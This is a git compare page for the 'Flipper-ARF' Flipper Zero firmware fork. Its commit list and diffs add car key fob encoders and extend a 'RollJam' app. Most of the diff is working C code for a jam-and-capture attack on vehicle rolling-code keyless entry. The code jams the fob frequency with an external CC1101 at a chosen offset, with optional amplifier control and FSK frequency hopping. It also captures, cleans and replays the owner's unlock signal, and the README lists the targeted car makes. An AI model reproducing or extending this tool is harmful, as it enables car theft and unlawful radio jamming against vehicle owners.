Compare commits

...

17 Commits

Author SHA1 Message Date
grugnoymeme
cea3bc3b6a fmt fiat marelli displayed datas and removed duplicates variant declaration in feed
All checks were successful
Build Dev Firmware / build (push) Successful in 6m25s
2026-03-16 05:58:05 +01:00
d4rks1d33
f3d08573a1 small fix
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-15 18:31:15 -03:00
Andrea
9e52a6eb6b Update Fiat Marelli entry in README.md
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-15 18:10:58 +01:00
Andrea Santaniello
faf669b457 Encoder for marelli/delphi
All checks were successful
Build Dev Firmware / build (push) Successful in 6m39s
2026-03-15 17:03:44 +01:00
Andrea Santaniello
e445b28d73 Update fiat_marelli.c
All checks were successful
Build Dev Firmware / build (push) Successful in 6m32s
2026-03-15 16:36:48 +01:00
Andrea Santaniello
19e2eaa554 Update fiat_marelli.c 2026-03-15 16:08:28 +01:00
Andrea Santaniello
2571ad7f22 Update fiat_marelli.c 2026-03-15 15:10:42 +01:00
Andrea Santaniello
22a0870559 Native chip AES (thanks to carphreak for suggesting it, saves some space) 2026-03-15 15:06:04 +01:00
d4rks1d33
1c9d1f404a Option to select Flux Capitor or Normal CC1101 on RollJam 2026-03-15 01:35:20 -03:00
d4rks1d33
fabb1ccc2d Official Flipper App now work with bluetooth 2026-03-15 00:42:43 -03:00
d4rks1d33
6a432a93ad Fix my bad sorry 2026-03-15 00:34:46 -03:00
d4rks1d33
d2cca91ec8 Small fix 2026-03-15 00:27:48 -03:00
d4rks1d33
6e483393e1 Update workflow 2026-03-15 00:20:10 -03:00
David
4dc688c25b Change encryption settings and add encrypted data
Updated encryption settings and added initialization vector and encrypted data.
2026-03-14 18:34:24 +01:00
David
585ce97358 Update to-do list in README.md for clarity 2026-03-14 17:09:29 +01:00
Andrea Santaniello
592bf5f1ae Update rolljam_receiver.c 2026-03-14 14:22:57 +01:00
Andrea Santaniello
a02aabbbda Rolljam select offsets/RL Flux Capacitor support 2026-03-14 14:14:08 +01:00
23 changed files with 883 additions and 927 deletions

View File

@@ -17,6 +17,7 @@ jobs:
- name: Build firmware - name: Build firmware
run: | run: |
export DIST_SUFFIX=Flipper-ARF
chmod +x fbt chmod +x fbt
./fbt COMPACT=1 DEBUG=0 updater_package ./fbt COMPACT=1 DEBUG=0 updater_package
@@ -28,7 +29,7 @@ jobs:
id: firmware id: firmware
run: | run: |
DIR=$(ls -d dist/f7-* | head -n 1) DIR=$(ls -d dist/f7-* | head -n 1)
FILE="$DIR/flipper-z-f7-update-local.tgz" FILE="$DIR/flipper-z-f7-update-Flipper-ARF.tgz"
if [ ! -f "$FILE" ]; then if [ ! -f "$FILE" ]; then
echo "Firmware file not found!" echo "Firmware file not found!"

View File

@@ -49,7 +49,7 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes | | PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes | | Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes | | Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat Marelli | 433 MHz | AM | No | Yes | No | | Fiat | Fiat Marelli/Delphi | 433 MHz | AM | No | Yes | No |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No | | Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes | | Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes | | Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes |
@@ -134,10 +134,9 @@ Flipper-ARF aims to achieve:
## To Do / Planned Features ## To Do / Planned Features
- [ ] Add Scher Khan & Starline protocols - [ ] Add Scher Khan & Starline protocols
- [ ] Marelli BSI encodere and encryption - [ ] Marelli BSI encoder and encryption
- [ ] Fix and reintegrate RollJam app (future updates) - [ ] Improve RollJam app
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols - [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
- [ ] Improve collaboration workflow to avoid overlapping work
--- ---

View File

@@ -10,6 +10,12 @@
static bool otg_was_enabled = false; static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
use_flux_capacitor = enabled;
}
static void rolljam_ext_power_on(void) { static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled(); otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) { if(!otg_was_enabled) {
@@ -35,6 +41,7 @@ static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4; static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3; static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2; static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
static const GpioPin* pin_amp = &gpio_ext_pc3;
// ============================================================ // ============================================================
// CC1101 Registers // CC1101 Registers
@@ -226,49 +233,12 @@ static void cc_set_freq(uint32_t f) {
cc_write(CC_FREQ0, r & 0xFF); cc_write(CC_FREQ0, r & 0xFF);
} }
// ============================================================
// JAMMING APPROACH: Random OOK noise via FIFO
// ============================================================
/*
* Previous approaches and their problems:
*
* 1. FIFO random data (first attempt):
* - 100% underflow because data rate was too high
*
* 2. Broadband GDO0 toggling:
* - Self-interference with internal CC1101
*
* 3. Pure CW carrier:
* - Too weak/narrow to jam effectively
*
* NEW APPROACH: Low data rate FIFO feeding
*
* Key insight: the underflow happened because data rate was
* 115 kBaud and we couldn't feed the FIFO fast enough from
* the thread (furi_delay + SPI overhead).
*
* Solution: Use LOW data rate (~1.2 kBaud) so the FIFO
* drains very slowly. 64 bytes at 1.2 kBaud lasts ~426ms!
* That's plenty of time to refill.
*
* At 1.2 kBaud with random data, the OOK signal creates
* random on/off keying with ~833us per bit. This produces
* a modulated signal with ~1.2kHz bandwidth - enough to
* disrupt OOK receivers but narrow enough to not self-jam.
*
* Combined with the 700kHz offset, this is:
* - Visible on spectrum analyzers (modulated signal)
* - Effective at disrupting victim receivers
* - NOT interfering with our narrow 58kHz RX
*/
static bool cc_configure_jam(uint32_t freq) { static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq); FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
cc_idle(); cc_idle();
// GDO0: TX FIFO threshold cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG0, 0x02); // GDO0 asserts when TX FIFO below threshold cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_IOCFG2, 0x0E); // Carrier sense
// Fixed packet length, 255 bytes per packet // Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
@@ -352,7 +322,7 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
cc_idle(); cc_idle();
cc_write(CC_IOCFG0, 0x02); cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x0E); cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00); cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00); cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF); cc_write(CC_PKTLEN, 0xFF);
@@ -406,13 +376,24 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
// Jam thread - FIFO-fed OOK at low data rate // Jam thread - FIFO-fed OOK at low data rate
// ============================================================ // ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, pattern, len);
cc_strobe(CC_STX);
furi_delay_ms(5);
}
static int32_t jam_thread_worker(void* context) { static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context; RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "========================================"); FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: LOW-RATE OOK NOISE MODE"); FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
FURI_LOG_I(TAG, "Target: %lu Jam: %lu (+%lu)", app->frequency, app->jam_offset_hz, is_fsk);
app->frequency, app->jam_frequency, (uint32_t)JAM_OFFSET_HZ);
FURI_LOG_I(TAG, "========================================"); FURI_LOG_I(TAG, "========================================");
if(!cc_reset()) { if(!cc_reset()) {
@@ -423,24 +404,20 @@ static int32_t jam_thread_worker(void* context) {
FURI_LOG_E(TAG, "JAM: No chip!"); FURI_LOG_E(TAG, "JAM: No chip!");
return -1; return -1;
} }
bool jam_ok = false; bool jam_ok = false;
if(app->mod_index == ModIndex_FM238) { if(app->mod_index == ModIndex_FM238) {
FURI_LOG_I(TAG, "JAM: FSK mode FM238"); jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
jam_ok = cc_configure_jam_fsk(app->jam_frequency, false);
} else if(app->mod_index == ModIndex_FM476) { } else if(app->mod_index == ModIndex_FM476) {
FURI_LOG_I(TAG, "JAM: FSK mode FM476"); jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
jam_ok = cc_configure_jam_fsk(app->jam_frequency, true);
} else { } else {
FURI_LOG_I(TAG, "JAM: OOK mode"); jam_ok = cc_configure_jam(jam_freq_pos);
jam_ok = cc_configure_jam(app->jam_frequency);
} }
if(!jam_ok) { if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed!"); FURI_LOG_E(TAG, "JAM: Config failed!");
return -1; return -1;
} }
// Fixed pattern: alternating 0xAA/0x55 — uniform amplitude,
// detectable by rolljam_is_jammer_pattern() on the RX side
static const uint8_t noise_pattern[62] = { static const uint8_t noise_pattern[62] = {
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55, 0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55, 0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
@@ -452,89 +429,77 @@ static int32_t jam_thread_worker(void* context) {
0xAA,0x55 0xAA,0x55
}; };
// Flush TX FIFO if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
cc_strobe(CC_SFTX); jam_start_tx(noise_pattern, 62);
furi_delay_ms(1);
// Pre-fill FIFO with fixed pattern
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
uint8_t txb = cc_txbytes();
FURI_LOG_I(TAG, "JAM: FIFO pre-filled, txbytes=%d", txb);
// Enter TX
cc_strobe(CC_STX);
furi_delay_ms(5);
uint8_t st = cc_state(); uint8_t st = cc_state();
FURI_LOG_I(TAG, "JAM: After STX state=0x%02X", st);
if(st != MARC_TX) { if(st != MARC_TX) {
// Retry
cc_idle(); cc_idle();
cc_strobe(CC_SFTX); jam_start_tx(noise_pattern, 62);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(5);
st = cc_state(); st = cc_state();
FURI_LOG_I(TAG, "JAM: Retry state=0x%02X", st);
if(st != MARC_TX) { if(st != MARC_TX) {
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
FURI_LOG_E(TAG, "JAM: Cannot enter TX!"); FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
return -1; return -1;
} }
} }
FURI_LOG_I(TAG, "JAM: *** OOK NOISE ACTIVE ***"); FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
uint32_t loops = 0; uint32_t loops = 0;
uint32_t underflows = 0; uint32_t underflows = 0;
uint32_t refills = 0; uint32_t refills = 0;
bool on_positive_offset = true;
while(app->jam_thread_running) { while(app->jam_thread_running) {
loops++; loops++;
st = cc_state(); if(is_fsk && (loops % 4 == 0)) {
if(st != MARC_TX) {
// Packet finished or underflow - reload and re-enter TX
underflows++;
cc_idle(); cc_idle();
cc_strobe(CC_SFTX); cc_strobe(CC_SFTX);
furi_delay_us(100); furi_delay_us(100);
// Refill with fixed pattern on_positive_offset = !on_positive_offset;
cc_write_burst(CC_TXFIFO, noise_pattern, 62); cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX); cc_strobe(CC_STX);
furi_delay_ms(1); furi_delay_ms(1);
continue; continue;
} }
// Check if FIFO needs refilling st = cc_state();
txb = cc_txbytes();
if(st != MARC_TX) {
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
uint8_t txb = cc_txbytes();
if(txb < 20) { if(txb < 20) {
// Refill what we can
uint8_t space = 62 - txb; uint8_t space = 62 - txb;
if(space > 50) space = 50; if(space > 50) space = 50;
cc_write_burst(CC_TXFIFO, noise_pattern, space); cc_write_burst(CC_TXFIFO, noise_pattern, space);
refills++; refills++;
} }
// Log periodically
if(loops % 500 == 0) { if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: active loops=%lu uf=%lu refills=%lu txb=%d st=0x%02X", FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
loops, underflows, refills, cc_txbytes(), cc_state()); loops, underflows, refills, cc_txbytes());
} }
// At 1.2 kBaud, 62 bytes last ~413ms
// Check every 50ms - plenty of time
furi_delay_ms(50); furi_delay_ms(50);
} }
cc_idle(); cc_idle();
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills); FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0; return 0;
} }
@@ -553,9 +518,17 @@ void rolljam_ext_gpio_init(void) {
furi_hal_gpio_write(pin_mosi, false); furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh); furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh); furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
} }
void rolljam_ext_gpio_deinit(void) { void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow); furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow); furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow); furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
@@ -570,7 +543,7 @@ void rolljam_ext_gpio_deinit(void) {
void rolljam_jammer_start(RollJamApp* app) { void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return; if(app->jamming_active) return;
app->jam_frequency = app->frequency + JAM_OFFSET_HZ; app->jam_frequency = app->frequency + app->jam_offset_hz;
rolljam_ext_power_on(); rolljam_ext_power_on();
furi_delay_ms(100); furi_delay_ms(100);
rolljam_ext_gpio_init(); rolljam_ext_gpio_init();

View File

@@ -17,6 +17,7 @@
*/ */
void rolljam_ext_gpio_init(void); void rolljam_ext_gpio_init(void);
void rolljam_ext_set_flux_capacitor(bool enabled);
void rolljam_ext_gpio_deinit(void); void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app); void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app); void rolljam_jammer_stop(RollJamApp* app);

View File

@@ -91,6 +91,50 @@ static const uint8_t preset_ook_tx[] = {
0x00, 0x00 0x00, 0x00
}; };
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
// ============================================================ // ============================================================
// Capture state machine // Capture state machine
// ============================================================ // ============================================================
@@ -132,6 +176,7 @@ static volatile int cap_valid_count;
static volatile int cap_total_count; static volatile int cap_total_count;
static volatile bool cap_target_first; static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count; static volatile uint32_t cap_callback_count;
static volatile float cap_rssi_baseline;
static void capture_rx_callback(bool level, uint32_t duration, void* context) { static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context; RollJamApp* app = context;
@@ -251,7 +296,13 @@ void rolljam_capture_start(RollJamApp* app) {
furi_delay_ms(5); furi_delay_ms(5);
// Reset state machine furi_hal_subghz_rx();
furi_delay_ms(50);
cap_rssi_baseline = furi_hal_subghz_get_rssi();
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
cap_state = CapWaiting; cap_state = CapWaiting;
cap_valid_count = 0; cap_valid_count = 0;
cap_total_count = 0; cap_total_count = 0;
@@ -339,8 +390,19 @@ bool rolljam_signal_is_valid(RawSignal* signal) {
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0; int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) { if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d", float rssi = furi_hal_subghz_get_rssi();
good, total, ratio_pct, total); float rssi_delta = rssi - cap_rssi_baseline;
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
if(rssi_delta < 5.0f && rssi < -85.0f) {
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
(double)rssi, (double)rssi_delta);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
return true; return true;
} }
@@ -352,6 +414,71 @@ bool rolljam_signal_is_valid(RawSignal* signal) {
return false; return false;
} }
// ============================================================
// Signal cleanup
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
size_t out = 0;
size_t start = 0;
while(start < signal->size) {
int16_t val = signal->data[start];
int16_t abs_val = val > 0 ? val : -val;
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = val > 0;
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = prev > 0;
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
}
}
continue;
}
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
int16_t quantized = (int16_t)q;
if(out < RAW_SIGNAL_MAX_SIZE) {
cleaned[out++] = is_positive ? quantized : -quantized;
}
}
while(out > 0) {
int16_t last = cleaned[out - 1];
int16_t abs_last = last > 0 ? last : -last;
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
// ============================================================ // ============================================================
// TX // TX
// ============================================================ // ============================================================
@@ -387,7 +514,19 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
furi_hal_subghz_idle(); furi_hal_subghz_idle();
furi_delay_ms(10); furi_delay_ms(10);
furi_hal_subghz_load_custom_preset(preset_ook_tx); const uint8_t* tx_preset;
switch(app->mod_index) {
case ModIndex_FM238:
tx_preset = preset_fsk_tx_238;
break;
case ModIndex_FM476:
tx_preset = preset_fsk_tx_476;
break;
default:
tx_preset = preset_ook_tx;
break;
}
furi_hal_subghz_load_custom_preset(tx_preset);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency); uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq); FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);

View File

@@ -24,6 +24,9 @@ void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise) // Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal); bool rolljam_signal_is_valid(RawSignal* signal);
// Clean up captured signal: merge short pulses, quantize, trim noise
void rolljam_signal_cleanup(RawSignal* signal);
// Transmit a raw signal via internal CC1101 // Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal); void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);

View File

@@ -43,6 +43,25 @@ const char* mod_names[] = {
"FM 476", "FM 476",
}; };
const uint32_t jam_offset_values[] = {
300000,
500000,
700000,
1000000,
};
const char* jam_offset_names[] = {
"300 kHz",
"500 kHz",
"700 kHz",
"1000 kHz",
};
const char* hw_names[] = {
"CC1101",
"Flux Cap",
};
// ============================================================ // ============================================================
// Scene handlers table (extern declarations in scene header) // Scene handlers table (extern declarations in scene header)
// ============================================================ // ============================================================
@@ -100,10 +119,12 @@ static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp)); RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp)); memset(app, 0, sizeof(RollJamApp));
// Defaults
app->freq_index = FreqIndex_433_92; app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92]; app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650; app->mod_index = ModIndex_AM650;
app->jam_offset_index = JamOffIndex_700k;
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
app->hw_index = HwIndex_CC1101;
// Services // Services
app->gui = furi_record_open(RECORD_GUI); app->gui = furi_record_open(RECORD_GUI);
@@ -203,7 +224,7 @@ int32_t rolljam_app(void* p) {
FURI_LOG_I(TAG, "=== RollJam Started ==="); FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)"); FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", (uint32_t)JAM_OFFSET_HZ); FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu); scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher); view_dispatcher_run(app->view_dispatcher);

View File

@@ -18,13 +18,6 @@
#define TAG "RollJam" #define TAG "RollJam"
// ============================================================
// Jam offset: external CC1101 transmits at target + this offset
// Victim receiver (wide BW ~300kHz) sees the jam
// Our internal CC1101 (narrow BW ~58kHz) rejects it
// ============================================================
#define JAM_OFFSET_HZ 700000
// Max raw signal buffer // Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096 #define RAW_SIGNAL_MAX_SIZE 4096
@@ -62,6 +55,31 @@ typedef enum {
extern const char* mod_names[]; extern const char* mod_names[];
// ============================================================
// Jam offsets
// ============================================================
typedef enum {
JamOffIndex_300k = 0,
JamOffIndex_500k,
JamOffIndex_700k,
JamOffIndex_1000k,
JamOffIndex_COUNT,
} JamOffIndex;
extern const uint32_t jam_offset_values[];
extern const char* jam_offset_names[];
// ============================================================
// Hardware type
// ============================================================
typedef enum {
HwIndex_CC1101 = 0,
HwIndex_FluxCapacitor,
HwIndex_COUNT,
} HwIndex;
extern const char* hw_names[];
// ============================================================ // ============================================================
// Scenes // Scenes
// ============================================================ // ============================================================
@@ -125,8 +143,11 @@ typedef struct {
// Settings // Settings
FreqIndex freq_index; FreqIndex freq_index;
ModIndex mod_index; ModIndex mod_index;
JamOffIndex jam_offset_index;
HwIndex hw_index;
uint32_t frequency; uint32_t frequency;
uint32_t jam_frequency; uint32_t jam_frequency;
uint32_t jam_offset_hz;
// Captured signals // Captured signals
RawSignal signal_first; RawSignal signal_first;

View File

@@ -11,6 +11,7 @@ static void phase1_timer_callback(void* context) {
if(app->signal_first.size > 0 && if(app->signal_first.size > 0 &&
rolljam_signal_is_valid(&app->signal_first)) { rolljam_signal_is_valid(&app->signal_first)) {
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true; app->signal_first.valid = true;
view_dispatcher_send_custom_event( view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured); app->view_dispatcher, RollJamEventSignalCaptured);
@@ -40,6 +41,9 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
view_dispatcher_switch_to_view( view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget); app->view_dispatcher, RollJamViewWidget);
// Configure hardware type
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
// Start jamming // Start jamming
rolljam_jammer_start(app); rolljam_jammer_start(app);

View File

@@ -11,6 +11,7 @@ static void phase2_timer_callback(void* context) {
if(app->signal_second.size > 0 && if(app->signal_second.size > 0 &&
rolljam_signal_is_valid(&app->signal_second)) { rolljam_signal_is_valid(&app->signal_second)) {
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true; app->signal_second.valid = true;
view_dispatcher_send_custom_event( view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured); app->view_dispatcher, RollJamEventSignalCaptured);

View File

@@ -21,11 +21,27 @@ static void menu_mod_changed(VariableItem* item) {
variable_item_set_current_value_text(item, mod_names[index]); variable_item_set_current_value_text(item, mod_names[index]);
} }
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) { static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context; RollJamApp* app = context;
if(index == 2) { if(index == 4) {
// "Start Attack" item
view_dispatcher_send_custom_event( view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack); app->view_dispatcher, RollJamEventStartAttack);
} }
@@ -56,6 +72,25 @@ void rolljam_scene_menu_on_enter(void* context) {
variable_item_set_current_value_index(mod_item, app->mod_index); variable_item_set_current_value_index(mod_item, app->mod_index);
